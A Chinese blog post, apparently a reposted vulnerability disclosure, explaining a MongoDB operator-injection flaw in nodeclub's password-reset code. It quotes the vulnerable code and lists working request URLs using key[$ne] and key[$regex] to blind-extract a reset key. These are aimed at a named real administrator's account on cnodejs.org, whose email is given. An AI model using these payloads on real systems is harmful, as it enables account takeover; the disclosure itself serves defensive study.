当前位置:首页 > 技术分析 > 正文内容

nodeclub注入漏洞可重置用户密码

ruisui881个月前 (03-24)技术分析6

这个nodeclub(
https://github.com/cnodejs/nodeclub/)可能用的人不多,弄着玩一下从github上下载nodeclub的源码。\controllers\sign.js

?

1

2

3

4

5

6

7

8exports.reset_pass = function (req, res, next) {

var key = req.query.key;

var name = req.query.name;

User.getUserByNameAndKey(name, key, function (err, user) {

if (!user) {

res.status(403);

return res.render('notify/notify', {error: '信息有误,密码无法重置。'});

}

可以看到,key和name未经判断进入了 User的 getUserByNameAndKey\proxy\user.js

exports.getUserByNameAndKey = function (loginname, key, callback) {

User.findOne({loginname: loginname, retrieve_key: key}, callback);

};

为了测试这个问题,首先,我们把目标定为 cnodejs 的管理者之一 alsotang,从他的github上可以知道他的邮箱是 alsotang@gmail.com然后在
https://cnodejs.org/search_pass找回密码,

接着,根据之前的问题,不难简单的构造出以下请求。
https://cnodejs.org/reset_pass?name=alsotang&key[$ne]=111111111其中,name是目标用户名,让key不等于1111111,此时会返回一个正常的页面。

如果,我们随便设置一个key,例如:
https://cnodejs.org/reset_pass?name=alsotang&key=111111111则会返回一个错误的页面:

如此一来,我们就可以对key参数通过 $regex来进行盲注。例如:
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5 返回正常
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^6返回错误
https://cnodejs.org/reset_pass?name[$regex]=^alsotang&key[$regex]=^5f返回正常....测试代码:见“测试代码”部分。运行程序后,

跑出的key:

然后拿着key去重置密码,密码被重置为 wooyun,登录后~~

见:
https://cnodejs.org/user/alsotang 个人介绍。

解决方案:

exports.reset_pass = function (req, res, next) {var key = req.query.key; var name = req.query.name;..

扫描二维码推送至手机访问。

版权声明:本文由ruisui88发布,如需转载请注明出处。

本文链接:http://www.ruisui88.com/post/2971.html

标签: res.render
分享给朋友:

“nodeclub注入漏洞可重置用户密码” 的相关文章

微软的Linux发行版终于加入了对XFS根文件系统的支持

当许多Linux发行版在评估新的根文件系统选项或甚至像OpenZFS这样的特性,微软内部Linux发行版到本月才开始支持XFS作为根文件系统选项。随着这个月对微软内部Linux发行版CBL-Mariner的更新,他们现在支持XFS作为根文件系统。到目前为止,这个用于微软内部各种目的的Linux发行版...

发行版Vanilla OS 2发布稳定版:彻底重写、改变使用Linux的方式

Vanilla OS 是去年崭露头角的 Linux 发行版,最初的 1.0 版本基于 Ubuntu 构建 —— 亮点之一是系统核心“不可变”。后来改用 Debian 测试分支 (Debian Sid),免费且开源,默认桌面环境是 GNOME。什么是不可变 Linux 发行版?不可变发行版确保操作系统...

79.idea中git合并分支操作分享

文章目录前言1.fetch的操作2.合并最新代码到当前的开发分支3.解决冲突4.分支合并:5.完成代码合并总结前言git的操作在日产的工作中也非常重要,团队化的代码管理,每次如果代码被别人覆盖或者自己的代码不能提交到服务器那是灾难性的结果,本篇进行一篇分享来总结下idea中git的操作帮助java开...

Git 分支管理策略与工作流程

(预警:因为详细,所以行文有些长,新手边看边操作效果出乎你的预料)团队开发中,遵循一个合理、清晰的Git使用流程,是非常重要的。否则,每个人都提交一堆杂乱无章的commit,项目很快就会变得难以协调和维护。看完这篇文章后,涉及GIT的工作中就会减少因为规范问题导致工作出错,当然如果你现在暂时还未有合...

快速掌握 Git:程序员必会的版本控制技巧

在现代软件开发中,版本控制系统(VCS)是开发人员不可或缺的工具。无论是个人项目,还是多人协作的团队开发,良好的版本控制都能确保代码管理的高效性与稳定性。而在版本控制系统中,Git 凭借其分布式、灵活性和高效性,成为了最流行的工具之一。几乎所有的开发团队都在使用 Git 来管理代码版本、协作开发和追...

理解virt、res、shr之间的关系(linux系统篇)

前言想必在linux上写过程序的同学都有分析进程占用多少内存的经历,或者被问到这样的问题——你的程序在运行时占用了多少内存(物理内存)?通常我们可以通过top命令查看进程占用了多少内存。这里我们可以看到VIRT、RES和SHR三个重要的指标,他们分别代表什么意思呢?这是本文需要跟大家一起探讨的问题。...